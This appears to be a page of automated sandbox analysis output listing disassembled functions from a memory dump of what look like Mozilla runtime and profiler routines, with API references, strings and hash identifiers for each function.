Memory Dump Source

Source File: 00000000.00000002.2511291629.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2511263770.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511362549.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511396267.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511436382.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: memcpy$moz_xmalloc$_invalid_parameter_noinfo_noreturnfree
String ID:
API String ID: 1148890222-0
Opcode ID: 1d62eb0138c295c29f35ef9a7b886493b4a41a722277b0f439d18e8761789a9b
Instruction ID: 40e24d2299668908c9ad9781d47e5ab1231a25cd0dc0f9df77825805024323f8
Opcode Fuzzy Hash: 1d62eb0138c295c29f35ef9a7b886493b4a41a722277b0f439d18e8761789a9b
Instruction Fuzzy Hash: 4141F4B1A002059FCB08CFA9DC809AE7765FF89324B240728E916DB794EB71E915C7E5

Function 6C61B540 Relevance: 12.1, APIs: 8, Instructions: 93COMMON

Download Yara Rule

APIs

?classic@locale@std@@SAABV12@XZ.MSVCP140 ref: 6C61B5B9
??0_Lockit@std@@QAE@H@Z.MSVCP140(00000000), ref: 6C61B5C5
??Bid@locale@std@@QAEIXZ.MSVCP140 ref: 6C61B5DA
??1_Lockit@std@@QAE@XZ.MSVCP140(00000000), ref: 6C61B5F4
__Init_thread_footer.LIBCMT ref: 6C61B605
?_Getcat@?$ctype@D@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(00000000,?,00000000), ref: 6C61B61F
std::_Facet_Register.LIBCPMT ref: 6C61B631
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C61B655

Memory Dump Source

Source File: 00000000.00000002.2511291629.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2511263770.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511362549.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511396267.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511436382.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Lockit@std@@$??0_??1_?classic@locale@std@@Bid@locale@std@@D@std@@Facet_Getcat@?$ctype@Init_thread_footerRegisterV12@V42@@Vfacet@locale@2@abortstd::_
String ID:
API String ID: 1276798925-0
Opcode ID: f2ec8b70b07684d4cf0f0aab25e2cf4280ae7eefacb04037f4dbbeb477f763e5
Instruction ID: 1f71f04cfe6d1d077e6d6df7f400f5cb3e6d9534b9819a13942ab196e849e7cb
Opcode Fuzzy Hash: f2ec8b70b07684d4cf0f0aab25e2cf4280ae7eefacb04037f4dbbeb477f763e5
Instruction Fuzzy Hash: 11318471B00214CBCB10DF6AC8949EEB7F5EBCA325F150929D90697740DB38A806CF9A

Function 6C5E6590 Relevance: 10.8, APIs: 4, Strings: 2, Instructions: 342COMMON

Download Yara Rule

APIs

Part of subcall function 6C5DFA80: GetCurrentThreadId.KERNEL32 ref: 6C5DFA8D
Part of subcall function 6C5DFA80: AcquireSRWLockExclusive.KERNEL32(6C62F448), ref: 6C5DFA99

ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C5E6727
?GetOrAddIndex@UniqueJSONStrings@baseprofiler@mozilla@@AAEIABV?$Span@$$CBD$0PPPPPPPP@@3@@Z.MOZGLUE(?,?,?,?,?,?,?,00000001), ref: 6C5E67C8

Part of subcall function 6C5F4290: memcpy.VCRUNTIME140(?,?,6C602003,6C600AD9,?,6C600AD9,00000000,?,6C600AD9,?,00000004,?,6C601A62,?,6C602003,?), ref: 6C5F42C4

Strings

data, xrefs: 6C5E6593
vbl, xrefs: 6C5E696C

Memory Dump Source

Source File: 00000000.00000002.2511291629.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2511263770.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511362549.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511396267.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511436382.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentIndex@P@@3@@ReleaseSpan@$$Strings@baseprofiler@mozilla@@ThreadUniquememcpy
String ID: data$vbl
API String ID: 511789754-1095404901
Opcode ID: 369c71a260fe7e67a1b24390b5a4041e21f86be7599bc09608e447d5c260b9fa
Instruction ID: 76854d40968107d371606e8cdc04344036de73bd22231d81875b052ce1f557d6
Opcode Fuzzy Hash: 369c71a260fe7e67a1b24390b5a4041e21f86be7599bc09608e447d5c260b9fa
Instruction Fuzzy Hash: 40D1CE75A08340CFD724DF29C851B9FB7E6AFC9348F10492DE59997B91EB30A809CB52

Function 6C5DD5D0 Relevance: 10.8, APIs: 4, Strings: 2, Instructions: 279COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000001,?,?,?,?,6C5AEB57,?,?,?,?,?,?,?,?,?), ref: 6C5DD652
memset.VCRUNTIME140(00000000,00000000,00000001,?,?,?,?,?,6C5AEB57,?), ref: 6C5DD660
free.MOZGLUE(?,?,?,?,?,?,?,?,?,6C5AEB57,?), ref: 6C5DD673
free.MOZGLUE(?), ref: 6C5DD888

Strings

|Enabled, xrefs: 6C5DD81E
WZl, xrefs: 6C5DD5D9, 6C5DD63F

Memory Dump Source

Source File: 00000000.00000002.2511291629.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2511263770.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511362549.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511396267.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511436382.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: free$memsetmoz_xmalloc
String ID: WZl$|Enabled
API String ID: 4142949111-2253591229
Opcode ID: 0c7a8bfe7889f99ca0d2cb1a05a9465906010ae34b1be3c1af2b93e896d3b131
Instruction ID: 94e8c673f1f9dabd18c86c782d384f36b3bf29acdf5d5246b29ac01ef2c475ae
Opcode Fuzzy Hash: 0c7a8bfe7889f99ca0d2cb1a05a9465906010ae34b1be3c1af2b93e896d3b131
Instruction Fuzzy Hash: 06A1F0B0A00308DFDB11CF69C8D0BAEBBF1AF49318F15845CD889AB741D735A885CBA5

Function 6C5B9830 Relevance: 10.7, APIs: 7, Instructions: 196COMMON

Download Yara Rule

APIs

free.MOZGLUE(?,?,?,6C607ABE), ref: 6C5B985B
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,6C607ABE), ref: 6C5B98A8
moz_xmalloc.MOZGLUE(00000020), ref: 6C5B9909
memcpy.VCRUNTIME140(00000023,?,?), ref: 6C5B9918
free.MOZGLUE(?), ref: 6C5B9975

Memory Dump Source

Source File: 00000000.00000002.2511291629.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2511263770.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511362549.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511396267.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511436382.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: free$_invalid_parameter_noinfo_noreturnmemcpymoz_xmalloc
String ID:
API String ID: 1281542009-0
Opcode ID: 622a4ea26003a80f42b014b8886c3a7e4cc40e449d61d54aad99a273921a4c03
Instruction ID: 469420df23db0b9212d9f96705172712adc20f024d0b52309ba8852e08e07149
Opcode Fuzzy Hash: 622a4ea26003a80f42b014b8886c3a7e4cc40e449d61d54aad99a273921a4c03
Instruction Fuzzy Hash: 3571AC74604705CFC764CF28C890956BBF1FF9A324B644AADE85AABB90D731F801CB91

Function 6C5BB790 Relevance: 10.6, APIs: 7, Instructions: 147COMMON

Download Yara Rule

APIs

?good@ios_base@std@@QBE_NXZ.MSVCP140(?,6C5FCC83,?,?,?,?,?,?,?,?,?,6C5FBCAE,?,?,6C5EDC2C), ref: 6C5BB7E6
?good@ios_base@std@@QBE_NXZ.MSVCP140(?,6C5FCC83,?,?,?,?,?,?,?,?,?,6C5FBCAE,?,?,6C5EDC2C), ref: 6C5BB80C
?clear@?$basic_ios@DU?$char_traits@D@std@@@std@@QAEXH_N@Z.MSVCP140(?,00000000,?,6C5FCC83,?,?,?,?,?,?,?,?,?,6C5FBCAE), ref: 6C5BB88E
?_Osfx@?$basic_ostream@DU?$char_traits@D@std@@@std@@QAEXXZ.MSVCP140(?,6C5FCC83,?,?,?,?,?,?,?,?,?,6C5FBCAE,?,?,6C5EDC2C), ref: 6C5BB896

Memory Dump Source

Source File: 00000000.00000002.2511291629.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2511263770.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511362549.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511396267.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511436382.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: ?good@ios_base@std@@D@std@@@std@@U?$char_traits@$?clear@?$basic_ios@Osfx@?$basic_ostream@
String ID:
API String ID: 922945588-0
Opcode ID: cc6d24819878ee20c90571fa62423529633b9c5435fc50a6c527d456511455c8
Instruction ID: 26ea383a1718e6e667ebf041aaf31586e61323391111957d0eb3aa9395f32642
Opcode Fuzzy Hash: cc6d24819878ee20c90571fa62423529633b9c5435fc50a6c527d456511455c8
Instruction Fuzzy Hash: 83519A357006008FCB24DF59C9E4A6ABBF5FF89318B69895DE98AA7351C771EC01CB84

Function 6C5F1D00 Relevance: 10.6, APIs: 7, Instructions: 115threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C5F1D0F
AcquireSRWLockExclusive.KERNEL32(?,?,6C5F1BE3,?,?,6C5F1D96,00000000), ref: 6C5F1D18
ReleaseSRWLockExclusive.KERNEL32(?,?,6C5F1BE3,?,?,6C5F1D96,00000000), ref: 6C5F1D4C
GetCurrentThreadId.KERNEL32 ref: 6C5F1DB7
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C5F1DC0
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C5F1DDA

Part of subcall function 6C5F1EF0: GetCurrentThreadId.KERNEL32 ref: 6C5F1F03
Part of subcall function 6C5F1EF0: AcquireSRWLockExclusive.KERNEL32(?,?,?,?,?,6C5F1DF2,00000000,00000000), ref: 6C5F1F0C
Part of subcall function 6C5F1EF0: ReleaseSRWLockExclusive.KERNEL32 ref: 6C5F1F20

moz_xmalloc.MOZGLUE(00000008,00000000,00000000), ref: 6C5F1DF4

Part of subcall function 6C5BCA10: malloc.MOZGLUE(?), ref: 6C5BCA26

Memory Dump Source

Source File: 00000000.00000002.2511291629.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2511263770.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511362549.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511396267.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511436382.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThread$mallocmoz_xmalloc
String ID:
API String ID: 1880959753-0
Opcode ID: b6d7287b3a40ddc3ce9e4fc848ef94815a84db91f4ef79f460e7ce6af70260b7
Instruction ID: 9a471be08b50e03592e8f6c06e79911b50f8685a6c83a424bdf97b2465dc7a99
Opcode Fuzzy Hash: b6d7287b3a40ddc3ce9e4fc848ef94815a84db91f4ef79f460e7ce6af70260b7
Instruction Fuzzy Hash: 704159B52007009FCB14DF29C888A56BBF9FB89354F10442DE99A87B41CB75F855CBA5

Function 6C5E84E0 Relevance: 10.6, APIs: 7, Instructions: 79COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C5E84F3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C5E850A
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C5E851E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C5E855B
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C5E856F
??1UniqueJSONStrings@baseprofiler@mozilla@@QAE@XZ.MOZGLUE(?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C5E85AC

Part of subcall function 6C5E7670: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,6C5E85B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C5E767F
Part of subcall function 6C5E7670: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,6C5E85B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C5E7693
Part of subcall function 6C5E7670: free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,6C5E85B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C5E76A7

free.MOZGLUE(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C5E85B2

Part of subcall function 6C5C5E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C5C5EDB
Part of subcall function 6C5C5E90: memset.VCRUNTIME140(ew`l,000000E5,?), ref: 6C5C5F27
Part of subcall function 6C5C5E90: LeaveCriticalSection.KERNEL32(?), ref: 6C5C5FB2

Memory Dump Source

Source File: 00000000.00000002.2511291629.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2511263770.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511362549.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511396267.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511436382.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: free$CriticalSection$EnterLeaveStrings@baseprofiler@mozilla@@Uniquememset
String ID:
API String ID: 2666944752-0
Opcode ID: 3618939d2246d539879c1c169ea646ce8a789ed37bdf003004a6aa54b5a21095
Instruction ID: b652a571e6f515641b9c497483492db018b07d393e4d3211ba346c22e8bc3285
Opcode Fuzzy Hash: 3618939d2246d539879c1c169ea646ce8a789ed37bdf003004a6aa54b5a21095
Instruction Fuzzy Hash: 61218375200601AFEB14DB29CC88A5AB7B5AF8830CF14482DE55BC3B42DB35F948CB96

Function 6C5B1640 Relevance: 10.6, APIs: 7, Instructions: 77COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,00000000,00000114), ref: 6C5B1699
VerSetConditionMask.NTDLL ref: 6C5B16CB
VerSetConditionMask.NTDLL ref: 6C5B16D7
VerSetConditionMask.NTDLL ref: 6C5B16DE
VerSetConditionMask.NTDLL ref: 6C5B16E5
VerSetConditionMask.NTDLL ref: 6C5B16EC
VerifyVersionInfoW.KERNEL32(?,00000037,00000000), ref: 6C5B16F9

Memory Dump Source

Source File: 00000000.00000002.2511291629.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2511263770.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511362549.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511396267.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511436382.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: ConditionMask$InfoVerifyVersionmemset
String ID:
API String ID: 375572348-0
Opcode ID: b6f42de132c7c570b1acc8af22459d86b432da717e7c0a9fdf9f8d92dba5dab6
Instruction ID: d7b8fea4e3683e935f6ab4b0026390d715965b0081423ffdbe60eb39ebaa007a
Opcode Fuzzy Hash: b6f42de132c7c570b1acc8af22459d86b432da717e7c0a9fdf9f8d92dba5dab6
Instruction Fuzzy Hash: 9321E4B07442086BEB116E69CC85FFBB77CEFC6704F004528F645AB5C0C6799D548BA5

Function 6C5EF5B0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 70threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C5DCBE8: GetCurrentProcess.KERNEL32(?,6C5A31A7), ref: 6C5DCBF1
Part of subcall function 6C5DCBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C5A31A7), ref: 6C5DCBFA

Part of subcall function 6C5E9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C5B4A68), ref: 6C5E945E
Part of subcall function 6C5E9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C5E9470
Part of subcall function 6C5E9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C5E9482
Part of subcall function 6C5E9420: __Init_thread_footer.LIBCMT ref: 6C5E949F

GetCurrentThreadId.KERNEL32 ref: 6C5EF619
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,00000000,?,6C5EF598), ref: 6C5EF621

Part of subcall function 6C5E94D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C5E94EE
Part of subcall function 6C5E94D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C5E9508

GetCurrentThreadId.KERNEL32 ref: 6C5EF637
AcquireSRWLockExclusive.KERNEL32(6C62F4B8,?,?,00000000,?,6C5EF598), ref: 6C5EF645
ReleaseSRWLockExclusive.KERNEL32(6C62F4B8,?,?,00000000,?,6C5EF598), ref: 6C5EF663

Strings

[D %d/%d] profiler_remove_sampled_counter(%s), xrefs: 6C5EF62A

Memory Dump Source

Source File: 00000000.00000002.2511291629.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2511263770.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511362549.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511396267.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511436382.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Currentgetenv$ExclusiveLockProcessThread$AcquireInit_thread_footerReleaseTerminate__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_remove_sampled_counter(%s)
API String ID: 1579816589-753366533
Opcode ID: 69fbacff4da7f0a93362dcaa94a33f23be06b897f07cb4d8d1ce540091deff6d
Instruction ID: d740527415803baead367260ccc54a38db26fffedb8bb9903df7e10db01e0423
Opcode Fuzzy Hash: 69fbacff4da7f0a93362dcaa94a33f23be06b897f07cb4d8d1ce540091deff6d
Instruction Fuzzy Hash: 7611C471201204EBCB04AF1ADC849D57779FFCA768F500416EA0687F42CB79AC11CFA9

Function 6C5B2070 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 68libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C5DAB89: EnterCriticalSection.KERNEL32(6C62E370,?,?,?,6C5A34DE,6C62F6CC,?,?,?,?,?,?,?,6C5A3284), ref: 6C5DAB94
Part of subcall function 6C5DAB89: LeaveCriticalSection.KERNEL32(6C62E370,?,6C5A34DE,6C62F6CC,?,?,?,?,?,?,?,6C5A3284,?,?,6C5C56F6), ref: 6C5DABD1

LoadLibraryW.KERNEL32(combase.dll,6C5B1C5F), ref: 6C5B20AE
GetProcAddress.KERNEL32(00000000,CoInitializeSecurity), ref: 6C5B20CD
__Init_thread_footer.LIBCMT ref: 6C5B20E1
FreeLibrary.KERNEL32 ref: 6C5B2124

Strings

CoInitializeSecurity, xrefs: 6C5B20C7
combase.dll, xrefs: 6C5B20A9

Memory Dump Source

Source File: 00000000.00000002.2511291629.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2511263770.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511362549.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511396267.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511436382.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: CriticalLibrarySection$AddressEnterFreeInit_thread_footerLeaveLoadProc
String ID: CoInitializeSecurity$combase.dll
API String ID: 4190559335-2476802802
Opcode ID: 81d5ff8c5f555e580e36bcecfa518a0618cbc3de2ca210ca6dd8382fae19bf42
Instruction ID: 5b92a4b743317ea15f68d3e43842e71e00a187b22aa883503822c81697868b54
Opcode Fuzzy Hash: 81d5ff8c5f555e580e36bcecfa518a0618cbc3de2ca210ca6dd8382fae19bf42
Instruction Fuzzy Hash: E5217976200219EFDF11DF5ADC88EDA3F76FB4A365F104014FA05A2610D7399862CFAA

Function 6C6076C0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 64COMMON

Download Yara Rule

APIs

WideCharToMultiByte.KERNEL32 ref: 6C6076F2
moz_xmalloc.MOZGLUE(00000001), ref: 6C607705

Part of subcall function 6C5BCA10: malloc.MOZGLUE(?), ref: 6C5BCA26

memset.VCRUNTIME140(00000000,00000000,00000001), ref: 6C607717
WideCharToMultiByte.KERNEL32(0000FDE9,00000000,?,6C60778F,00000000,00000000,00000000,00000000), ref: 6C607731
free.MOZGLUE(00000000), ref: 6C607760

Strings

}>^l, xrefs: 6C6076C4

Memory Dump Source

Source File: 00000000.00000002.2511291629.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2511263770.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511362549.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511396267.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511436382.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: ByteCharMultiWide$freemallocmemsetmoz_xmalloc
String ID: }>^l
API String ID: 2538299546-4141363822
Opcode ID: 02ea93f5d8dae6cc70c534ca2b7b28a8e68b0bddd1472283d0ac95af12868c13
Instruction ID: 3893732f0238d377a58bf1b99782178f79b1b980dc362e957950ebf602c93efd
Opcode Fuzzy Hash: 02ea93f5d8dae6cc70c534ca2b7b28a8e68b0bddd1472283d0ac95af12868c13
Instruction Fuzzy Hash: FF11C8B1A05215ABD710AFB69D44BAB7EF8EF86354F144429F848E7300E7719C4087F6

Function 6C5B1FA0 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 60libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C5DAB89: EnterCriticalSection.KERNEL32(6C62E370,?,?,?,6C5A34DE,6C62F6CC,?,?,?,?,?,?,?,6C5A3284), ref: 6C5DAB94
Part of subcall function 6C5DAB89: LeaveCriticalSection.KERNEL32(6C62E370,?,6C5A34DE,6C62F6CC,?,?,?,?,?,?,?,6C5A3284,?,?,6C5C56F6), ref: 6C5DABD1

LoadLibraryW.KERNEL32(combase.dll,?), ref: 6C5B1FDE
GetProcAddress.KERNEL32(00000000,CoCreateInstance), ref: 6C5B1FFD
__Init_thread_footer.LIBCMT ref: 6C5B2011
FreeLibrary.KERNEL32 ref: 6C5B2059

Strings

CoCreateInstance, xrefs: 6C5B1FF7
combase.dll, xrefs: 6C5B1FD9

Memory Dump Source

Source File: 00000000.00000002.2511291629.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2511263770.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511362549.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511396267.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511436382.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: CriticalLibrarySection$AddressEnterFreeInit_thread_footerLeaveLoadProc
String ID: CoCreateInstance$combase.dll
API String ID: 4190559335-2197658831
Opcode ID: a18edd1393dcf326f9966836c3931d27974555fc73e623fee84e296eb54c4658
Instruction ID: 2d0b8be81770f0a479099af5416ad86b74d219a1b8ec5eb329186d73010cba62
Opcode Fuzzy Hash: a18edd1393dcf326f9966836c3931d27974555fc73e623fee84e296eb54c4658
Instruction Fuzzy Hash: 43115E75201219EFEF20CF26CD9CE963F79EB96355F104029F905A2640D7399861CF7A

Function 6C5B0EE0 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 51libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C5DAB89: EnterCriticalSection.KERNEL32(6C62E370,?,?,?,6C5A34DE,6C62F6CC,?,?,?,?,?,?,?,6C5A3284), ref: 6C5DAB94
Part of subcall function 6C5DAB89: LeaveCriticalSection.KERNEL32(6C62E370,?,6C5A34DE,6C62F6CC,?,?,?,?,?,?,?,6C5A3284,?,?,6C5C56F6), ref: 6C5DABD1

LoadLibraryW.KERNEL32(combase.dll,00000000,?,6C5DD9F0,00000000), ref: 6C5B0F1D
GetProcAddress.KERNEL32(00000000,CoInitializeEx), ref: 6C5B0F3C
__Init_thread_footer.LIBCMT ref: 6C5B0F50
FreeLibrary.KERNEL32(?,6C5DD9F0,00000000), ref: 6C5B0F86

Strings

CoInitializeEx, xrefs: 6C5B0F36
combase.dll, xrefs: 6C5B0F18

Memory Dump Source

Source File: 00000000.00000002.2511291629.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2511263770.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511362549.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511396267.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511436382.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: CriticalLibrarySection$AddressEnterFreeInit_thread_footerLeaveLoadProc
String ID: CoInitializeEx$combase.dll
API String ID: 4190559335-2063391169
Opcode ID: a7cee45d4ec562646d864cf8a1148395bd84483e521c1bae9e1d3e78dda1bc79
Instruction ID: fdb6274280e0f1f393e42948ae0343e7f380d4eda2ee25400c2213caffb89feb
Opcode Fuzzy Hash: a7cee45d4ec562646d864cf8a1148395bd84483e521c1bae9e1d3e78dda1bc79
